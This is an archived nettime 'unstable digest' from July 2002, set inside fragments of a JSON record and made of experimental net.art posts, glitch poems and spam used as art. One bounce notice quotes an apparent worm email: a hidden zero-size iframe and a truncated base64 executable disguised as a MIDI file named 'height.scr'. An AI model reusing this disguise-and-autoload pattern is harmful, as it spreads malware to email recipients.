california\n\n\n\n\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n\n.\n\n\nSubject: Note to self.\nDate: 4 Jul 2002 07:54:11 -0000\nFrom: \"nettime-l {AT} bbs.thing.net\" <nettime-l {AT} bbs.thing.net>\nTo: nettime-l {AT} bbs.thing.net\n\n\nNext time make sure to log out.  You never know who might be watching.\n\nPSI\n\nhttp://1995972994.com\n\n\n\n\n###########################################################################\n\n\n\nnettime unstable digest Die Jul  9 16:05:22 2002\n\ngrep ^From:\nFrom: \"Cur.][O][va.ture\" <netwurker {AT} hotkey.net.au>\nFrom: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\nFrom: daniel_ka12 {AT} mail.com\nFrom: diocletian {AT} visi.com (Karl Petersen)\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nFrom: contato <contato {AT} ibeplas.com.br>\nFrom: diocletian {AT} visi.com (Karl Petersen)\nFrom: \"www.error404.cl\" <coyarzun {AT} error404.cl>\nFrom: Sherman Sussman <shamanmoon {AT} pipeline.com>\nFrom: diocletian {AT} visi.com (Karl Petersen)\nFrom: \"Martin (biz.finder.net.au)\" <martin {AT} finder.net.au>\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} ChromaticSpaceAndWorld.com>\nFrom: \"nettime-l {AT} bbs.thing.net\" <nettime-l {AT} bbs.thing.net>\n\ngrep ^Subject:\nSubject: _net_][paral][lax 1.6.1: in.stig][m][at][a][ed as objects_\nSubject: *****SPAM***** unstable digest vol 2\nSubject: [Nettime-bold] HELLO!\nSubject: where.\nSubject: Rare Tasting Babes Under God\nSubject: [Nettime-bold] (%) Disk Write Time\nSubject: There.\nSubject: [Nettime-bold] error404_v3.0\nSubject: [Nettime-bold] removeremove\nSubject: anywhere.\nSubject: Re: [_arc.hive_] proposals for unstable digest no.2\nSubject: remark\nSubject: Note to self.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 13 Jul 2002 08:20:11 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200207131352.JAA02331 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00100.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 2"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00142",
                "content": "\nFrom: Soli Psis <solipsis {AT} HEVANET.COM>\nDate: Thu, 18 Jul 2002 09:16:30 -0700\n\n\nwarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyz=\nsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamanda\nlawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTx=\nyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinaman\ndalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawar=\nTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinam\nandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalaw=\narTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajin\namandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandal=\nawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivaj\ninamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamand=\nalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsiv\najinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinama=\nndalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzs\nivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajina=\nmandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxy\nzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivaji=\nnamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarT\nxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsiva=\njinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawa\nrTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsi=\nvajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandala\nwarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyz=\nsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamanda\nlawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTx=\nyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinaman\ndalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawar=\nTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinam\nandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalaw=\narTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajin\namandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandal=\nawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivaj\ninamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamand=\nalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsiv\najinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinama=\nndalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzs\nivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajina=\nmandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxy\nzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivaji=\nnamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarT\nxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsivajinamandalawarTxyzsiva=\njinamandalawarTxyzsivajinamandalawarTxyzsivaj\n\n\n\n.           .    ....         .....\nFrom: \"Cur.][O][va.ture\" <netwurker {AT} hotkey.net.au>\nSubject: _net_][paral][lax 1.7.2: Hellos & tone.ality_\nDate: Mon, 24 Jun 2002 14:46:40 +1000\n\n\n\n\n::...& on this note i'd like 2 add my in.tro.][N.][duction 2 the list.\n\n::i'm mez ][aka mary-anne breeze aka numerous avatarian-type-faces][. i'm a \n_netwurker_ who likes 2 x.plore & n.corporate autopoethical/fictionalised \nn][ew][uances in2 traditionally d.fined correspondence pathways [via \n\"mezangelled\" language iterations]  [among uber thangs].\n\nnow that's out. of. the. way........[i loathe intros, as they promote that \ns][heen][urface ill.usion of personality definition by \nreality-ego-di][convo][luted proxy....]..on2 the reason i crawled out of my \nwurdniche.......\n\n\n::i c this _evolving world of creative net.production & the re-weaving of \ncorresponding power-dynamics_  as n.nately reflected in the very x.tended \navenues of potential communication n.hancement/alteration that the \nnet][wurk][ offers, s.pecially in terms of the establishment of another \nemail list based on a traditional n.et][hical][tique/ academic \ndebate-&-banter-d.fined method of discourse.....i hope that this n.nitial \ngestation/dynamic definition period won't slowly crystallize in2 a regular \ntheory-email-list-comm route without attempts 2 x.amine the dynamics & \npotentials of a space such as this.......of course, it has been made \nabundantly clear that this is the moderators list in terms of moderation & \ndirection.......\n\n....my hopes 4 the list is that a wurkable ][oscillating][middle-point can \nb found where the list won't descend in2 garbled spam-driven non-cogitative \ntypology but also that it can resist predictable reiterative slippage in2 \nrigid academia-disc][ursive][ourse mapping.....\n\n..and on that note, its back 2 ][the net][wurk.......\n\n\nSubject: [Nettime-bold] what is happening?\nFrom: \"Tracey Benson\" <tracey.benson {AT} anu.edu.au>\nDate: Tue, 9 Jul 2002 14:28:55 +0800\n\n\nhi\nfor some reason my emails to the list are not getting though - could someone\ntell me why?\ntracey\n\n\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nDate: Mon, 15 Jul 2002 02:19:36 -0400\nSubject: i am so sorry i\n\ni am so sorry i\n\n\nPRIVATE MSG:  i couldn't believe what happened t orrbeicnue wi onti ern't\nblo do anything i ashl tdit out something frightened us out ab ash PRIVATE\nMSG:  weweae t ourt didn't make sense fn't sure but the window shuddered\nPRIVATE MSG:  i wadn't understand how it ooulay i didn't do it PRIVATE\nMSG:  was thi'nt do it iscwdn anything i would do PRIVATE MSG:  it wcould\ntell you i just you s din'te she was on PRIVATE MSG:  lay he was hard on\nme m't move there was PRIVATE MSG:  i e ias her suldnkninfething of that\norder iteco omdn't tell you asa private message PRIVATE MSG:  or coul was\ne it was something to d have understood itdidn't understand imouu she\nlived ma she didn't i found mcock in my i ybeayby th it was hard there\nmouon me she PRIVATE MSG:  i shemuporn in two was annihilate it was like\nthat t wasit was dhing like that an t somedhatwasyears somewhat PRIVATE\nMSG:  sheta long time ago\n\n\n_\n\n\nSubject: [Nettime-bold] \\\\ fog! + zol!tar! zekt\u015frz\nFrom: integer {AT} www.god-emil.dk\nDate: Fri, 12 Jul 2002 09:50:54 +0200 (CEST)\n\n\n\n\n\n\n\n\n       -  http://www.m9ndfukc.org/data/filmz/immune.play.its.about.time.mov\n\n\n\n                schhhhh ____...\n\n\n\n\n\n\n\n+ uen ! m !n dze mood + ! m u!th dze 2x = make m!ne\n+ darknesz falz on uz + ! th!nk nou m! bod! haz had !tz f!ll\ndzat ! kan feel m! zelf m! oun at lazt po!szd betu!n l!f + death\ndzn __... dzn m! zol!tude !z fould b! dze ztale zmell\nov plzr 4rom dze 2x zpraul!ng at m! z!de\n\n\n>dont you have enough\n\nhap!nesz != enough.\nlv != enough.\n`mez!ng` u!th dze g!rlz != enough.\n\ndze !mpoz!bl !z ... allora ...\n\n\n\n\n\n\n-\n\n>if this was a fairy tale\n\n\n__... http://www.m9ndfukc.org/data/filmz/traum\n\n\n\n\n\n\n\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     /|\\/|\\/|\\/|\\/|\\/|\\/|\\/|\\\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n     \\|/\\|/\\|/\\|/\\|/\\|/\\|/\\|/\n\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ////////////////////////\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     ||||||||||||||||||||||||\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n     \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n\n\n\n\n\n\n\nSubject: [Nettime-bold] Mailman results for Reader-list\nFrom: reader-list-request {AT} sarai.net\nDate: Sun, 14 Jul 2002 16:27:01 +0200\n\n\nThis is an automated response.\n\nThere were problems with the email commands you sent to Mailman via\nthe administrative address <reader-list-request {AT} sarai.net>.\n\nTo obtain instructions on valid Mailman email commands, send email to\n<reader-list-request {AT} sarai.net> with the word \"help\" in the subject\nline or in the body of the message.\n\nIf you want to reach the human being that manages this mailing list,\nplease send your message to <reader-list-admin {AT} sarai.net>.\n\nThe following is a detailed description of the problems.\n\n>>>>> Subject line ignored:\n>>>>>   Hello,reader-list-request,welcome to my hometown\nCommand? --ZLLx1533f952PC4862206P4B9JH\nCommand? Content-Type: text/html;\nCommand? Content-Transfer-Encoding: quoted-printable\nCommand? <HTML><HEAD></HEAD><BODY>\n>>>>>\n>>>>> Too many errors encountered; the rest of the message is ignored:\n> <iframe src=3Dcid:Y79G69s1n422S3y93E height=3D0 width=3D0>\n> </iframe>\n> <FONT></FONT></BODY></HTML>\n>\n> --ZLLx1533f952PC4862206P4B9JH\n> Content-Type: audio/x-midi;\n>       name=height.scr\n> Content-Transfer-Encoding: base64\n> Content-ID: <Y79G69s1n422S3y93E>\n>\n> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n> AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g\n> RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn\n_______________________________________________\nNettime-bold mailing list\nNettime-bold {AT} nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n\n       harder&harder&harder&harder&harder&harder&harder&harder&harder&harder&harder&har\n\n\n       harder&harder&harder&harder&harder&harder&harder&harder&harder&harder&harder&har\n\n\n\nSubject: [Nettime-bold] life.a-domesticguide;$sunday+1\nFrom: guide {AT} life.a-domesticguide.com\nDate: Mon, 15 Jul 2002 23:08:39 -0400\n\n\n#######\nlife.a-domesticguide   or, a concatenated practice of living\n==\nhttp://life.a-domesticguide.com\n#######\n\n\nwhat goodness hath wrought\n    what badness hath wrought\n        what attitude hath wrought\n            what latitude hath wrought\n                what nature hath wrought\n                    what day hath wrought\n                        what domestication hath wrought\n\n\n& that which is to the pleasure of eyes\n    & that which is to the pleasure of ears\n        & that which is to the pleasure of cerebrum\n\n$\nsunday +1\n$\n\n\n\n\n       8960Evlo9-145MWFc7323BhhC7-830-28\n\n       =?gb2312?q?=D4=B2=C4=FA=BD=F0=C8=DA=D7=D4=D3=C9=D6=AE=C3=CE=A3=AC=C8=C3=C4=FA=A1=B0=C7=AE=A1=B1=B3=\n       CC=CB=C6=A1=B0=BD=F0=A1=B1=A3=A1?=\n\n\n\n\n\n\nSubject: [Nettime-bold] Japanese girl VS playboy\nFrom: Jbrad1111 <Jbrad1111 {AT} aol.com>\nDate: Wed, 17 Jul 2002 19:57:58 -0700\n\n\n88789048\n-a533,3cfebd5b-\nservedby.advertising.com/\n1024\n4261216128\n29500557\n1653547488\n29494522\n*\n209.245.230.87\n-a533,3cfebd5c-\nservedby.advertising.com/\n1024\n4271216128\n29500557\n1661747488\n29494522\n*\n\n\n\nFrom: Karl Petersen <diocletian {AT} visi.com>\nSubject: man: Formatting Lawrence UPTON\nDate: Fri, 12 Jul 2002 00:40:15 -0500 (CDT)\n\nNAME\n\tLawrence UPTON - West Boogie\n\n\nSYNOPSIS\n\thttp://au.geocities.com/masthead_2/current/boogie.html\n\nDESCRIPTION\n        He had \"the top of the sea,\" and in 380 lines the rhetorical\n        sense is a sonnet or less - but strong, dismissing the plan\n        of extradition treaties between poetic subjects. That sense\n        is embellished by words' words and presumably, by owned words.\n        They clatter, but draw along naturally. The imaginative need\n        is for a scene (rather than a map) - oddly, one whose events\n        rely on the reader. This may be the limit to blending, and it\n        breaks fragments into their light.\n\n\nSEE ALSO\n\thttp://au.geocities.com/masthead_2/current/ice.html\n\nHISTORY\n        The author is active on the WRYTING list, where notice of this\n        issue was given. The file has many timestamps, indicating that\n        3 weeks are still required to do first rate publishing - not\n        3 seconds, as this.\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nSubject: hingLings.of.said\nDate: Wed, 17 Jul 2002 23:16:17 -0600\n\nplease read this poem out in your\nsupplespanglestippleALLaGLOWaGLITTERINGaGLAST.2.NITE\ntastes sweet - straight beat count temp file attri\nInstant knot access\nnow \"you\" drawBead a.rnd.numbCode\neveryone's a theory =3D memoryPPL\nhistory is skepTIPerceptikist goto and play onLips\nturn away yesterday, was source\ndrew crimson drips\ncutting through innosent skindformt lipst\ncrosses paraded, repeat goto strand of beaded syntxt\nReceived:  (QUESTmail 27961 invoked from network); 18 July SEQ# 5,937, 16=\n1.\nReceived:  (SENTmail 27961 invoked from unknown (HELO poly. va. rient.\ngoto. SigSource. com. (CALT) au (NATIONSTATE)/ LEADmail-foundry /_ arc.\nNet. Over. Inter. Lap. linkHive _ <_ arc.oLAB hiven _ {AT}  lmst. eva. com. U.=\n\naui/ pipes4mail/ADDresst2: _ arc. hive _ {AT}  lm. va. com. au)\n(hex.hex.hex.hex) \"YES\" for <_ arc. hive _/>\nDate:  Fri, 19 Jul 2002 next # 5,937, 161.\nturn around.\nThe spangle out!\nThe crusade gave free death - aid\nWas rnd\nWas running asx.floor.bores\nimpaled the cruxt of roomEnter to learn/RE:learn-identikistLips\nas worlds out in the centre.city\nhigh.st.\nsnd.scape\ninstant belief render nuLLsuch easily\nsheaf/over/reap\nDIV\ntag\namong hazy tucked years beheave\nold7\navoid valid now, timeStamp\ntoo often\n\na spyGRIST - a shameCAM, 24/7, secure site, has OWN i.p. hex.hex.hex.hex\nexeDeusIST and what isn't EXEy\nexternal percent twenty\nit such a bore ? pform?\n\nsuch as spells\ninterMingles from:\nautumn-frequency\n\n\n\n\n\n_\n\n\n\n\nFrom: =?iso-8859-1?Q?=80?= <e {AT} various-euro.com>\nSubject: canal bleu :+++++:\nDate: Wed, 17 Jul 2002 19:04:32 +0200\n\nDe following netz+irl_ereigniz will take plaiz:\n\n\n\n\nall days :+++++:\n\nrgt - redundant feature: pea counting interface\n\nrestate/chipper - onland live pervormants\n\nvarious-euro - v.a.r.02+\n\n\n\n\n\nfr:26-7- :+++++:\n\nd2b + mi_ga - asco-o li-ive\n\nDoughnut Dongle live!\n+ special guest !\n\n\n\nsa:27-7- :+++++:\n\no-o/cipher - playing idea\n\n|{.f| - .perfomance for l-system plant and voice\n\nBLACKJEWISHGAYS live!\n\n\n\n\nsu:28-7- :+++++:\n\npavu.com - Gurmuru Surdman Earth Poron (kuo ming soung)\n1 - Walking the Lightoffed Century with IQ Torches - mobile conference / \nperformance\n2 - Earth Poron - open air unplugging\n3 - \"Parliament Bitte' the 101/0 UpGrade PlateForm\" - walletizing conference\n4 - The PINE concert\n5 - SPrInT - tHe genHuine onHline papHer report\n\njoined by Jacques perconte - interventions\n\n\n\n\n\n|check!media-art {AT} >.lt .de .fr .at\"]:+++++++++++++++++++++++++++:\n\n|now!netverk/meeting/mobile-conference]:+++++++++++++++++++++++:\n\n|clickme!streams/interventions/screeningz\"]:+++++++++++++++++++:\n\n|live!pervormants/concert/fake-chats]++++++++++++++++++++++++++:\n\n\n\nDurazion: 26.JULI-31.JULI\n\n\nCANAL-BLEU  {AT}  fundus/renthof4/kassel/de\n\n++++++++++++:\n\nhttp://canal-bleu.modukit.com/\n\n++++++++++++:\n\ncontakt: mailto:off {AT} various-euro.com\n\n++++++++++++:\n\n\n\n\n\nrgt\n[http://rgt.modukit.com/redundant]\n\nrestate\n[http://www.restate.org]\n\nvarious-euro\n[http://www.various-euro.com]\n\nd2b + mi_ga\n[http://www.d2b.org/asco-o/]\n[http://www.o-o.lt/asco-o/]\n\nDoughnut Dongle\n[http://www.digitalkranky.de]\n[http://www.koenigjohannes.de]\n\no-o/cipher\n[http://www.o-o.lt/cipher]\n\n|{.f|\n[http://www.o-o.lt/~ke_an]\n\nBLACKJEWISHGAYS\n[http://xbxjxgx.info/]\n\npavu.com\n[http://www.pavu.com]\n[http://www.nextroute.com]\n\nJacques perconte\n[http://www.technart.net]\n[http://www.ex-zero.net]\n\n\nprogram = canal bleu +//26.7-31.7.2002//+   {AT}  bateaubleu + fundus\n- renthof 4 - kassel - germany -  {AT}  20h daily:\n\n\n:f:26-7:/o-o.lt/asco-o/ /d2b.org /digitalkranky.de]++++++++++++:\n\n:s:27-7:/o-o.lt/~ke_an /o-o.lt/cipher /xbxjxgx.info]+++++++++++:\n\n:s:28-7:/pavu.com/ nextroute.com/ technart.net/ ex-zero.net]+++:\n\n://restate.org /rgt.modukit.com/redundant /various-euro.com]+++:\n\n:+++++++++++++++++++++++++++++++++++++++++++++++:/o-o.lt++++++++:\n\n\nprogram = canal bleu +//26.7-31.7.2002//+   {AT}  fundus - renthof 4 - kassel - \ngermany -  {AT}  20h daily:\n\nUm zahlreiche erscheinen werden gebeten!\n\n\n\n\nX-Mailer: lo_y\nX-Authentication-Warning: lo_y is not authentic\nX-Kopyleft: lo_y\nFrom: + lo_y + <loy {AT} MYREALBOX.COM>\nSubject: 'sa.log/ue\n\n'kr-wantrp!\n'kreash-sray 4/AND_DELL (b-pt >\n                                mr\n                         ENT-TL)\n\n   'saev sh\n\n..zh_aEN-P     .      'for.SUALL\n\"[EO]END_D\n\"[V-DGETENM: wzh_aEND TR/RT Arr-gue pus, g00]\"\n\n            x\n\nEN-mr\n\n'MAinz gli_tzolf.nv sy-za = Val in, \"\" 36, 4,\"\" 36,4,\"\"\n      TO hDc = Get {AT} -3(0 ith-END_DECK, hDC)\n\n..kcfr $oaz-py gli_tz_wh_ts\n (btr 4go-saev) - IF  It a $oaz-pt >\n             (It < sh ASE): wk.tih_aEN-P\n                  IF < sallzxh_tzzwzh_ab-ui-l/to/fm_.( )\n\nENUM: wzh_\n      tzzwzh_\n      tlfg-nv-set(hPre-ed) t_.\n\n'sa.log/ue wedaans\"\n\n'for.wx.cors: 'fi - ENTR/RT ADE >\n       be pushwNors: wzh_aEND_\n       %tr 4go %zsfg dxwtp\n           4go dxwtp\n           4go dxwtp 4/ANGL.LOG\n       SINKT (Arr-wn)\"\n   'f.ez zr\n\n            x\n        ...     ..z6 zr\n                ..fr%.BN_KR.DE\n\nCALL (SINKT Arr-gue clavess kre/wck)\n\n                .\nENUM: (wed)\n\n         ..     .\n\n                ..fr $oaz-pt>\n\n  'for.showNorm.ll in, zr\n  'for.ez gl_tl sgli_ts\n\n'MAinz 6xpz %u\n\n            x\n\n'MAXNGL.%trp!\n'formell in, zr\n..zg: y %u\n\n\n\n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz:\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\n_______________________________________\n\n\nDate: Sun, 14 Jul 2002 02:32:49 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: Filing Names\n\nFiling Names\n\n\nNet1 Net2 Net3 Net4 Net5 Net6 Net7 Net8 Net9 Net10 Net11 Net12 Net13 Net14\na b c d e f g h i j k l m n o p q r s t u Uncanny Fantasm Blood Past\nWeather ah am an ap ba bb cc dd ee ff gg hh ii jj jk jl jm jn jo jp jq jr\njs jt ju jv jw jx jy ka kb kc kd ke kf kg kh ki kj kk kl km kn ko kp kq kr\nks kt ku kv kw kx ky kz la lb lc ld le lf lg lh li lj lk ll lm ln lo lp lq\nlr ls lt lu lv lw lx ly lz ma mb mc md me mf mg mh mi mj mk ml mm\n\nLinguistic annotations to Internet Text file names:\n\n1. Why the sudden change after Net14 ?\n2. The alphabet series ends at u .\n3. Only five named files: I realized these were already breaking with some\nsort of order - I had to return to a more coherent system.\n4. With the dyadic formations, things become confused:\na. Why start with ah, am, an? Where is ai, aj?\nb. With the doubles, where is aa? Why does this suddenly break off at jj -\nonly to start with another series, that of k, after jy?\nc. Why does k complete the dyadic series k*, and l complete l*?\nd. Where is m* headed?\ne. Do kk, ll, and mm replace earlier files related to the doubles series?\nHave texts inadvertently been lost?\n\nI am currently revising my home-page, emphasizing newer work and this\nseries - I have no answer whatsoever. My texts tend towards their own\nvagaries and wayward classifications - often beginning as if the whole\nworld is ordered, ending, as if everything is in dissolution. In a\nstate of depression, both ends transform into substance, through which\nmay be read a certain decathected truth; often, however, I write in a\nstate of exhilaration...\n\n\n_\n\nDate: Fri, 12 Jul 2002 14:16:34 -0400\nFrom: zKrell <krell {AT} SERVE.COM>\n\nword word bigger word\nlittle word word\nhalf a word\nthe other half\nfunny word\ndiacritical mark word syllable comma\n\nword\nword\nword\ndescriptive word nonsense word\nword\nquestion mark\n\nbig nonsense word\ndash\nword word\n\nmispelled word\nexclamation point word\n\n\n-----Original Message-----\nFrom: Sheila Murphy <shemurph2001 {AT} YAHOO.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\nDate: Friday, July 12, 2002 1:59 PM\n\n\n>Thanks, John - Your work and process continue to\n>inspire!!!\n>\n>Sheila\n>\n>\n>\n>--- \"John M. Bennett\" <bennett.23 {AT} OSU.EDU> wrote:\n>> Beautiful, Sheila!\n>> John\n>>\n>> At 09:31 AM 7/12/2002 -0700, you wrote:\n>> >July the 12th\n>> >for John M. Bennett\n>> 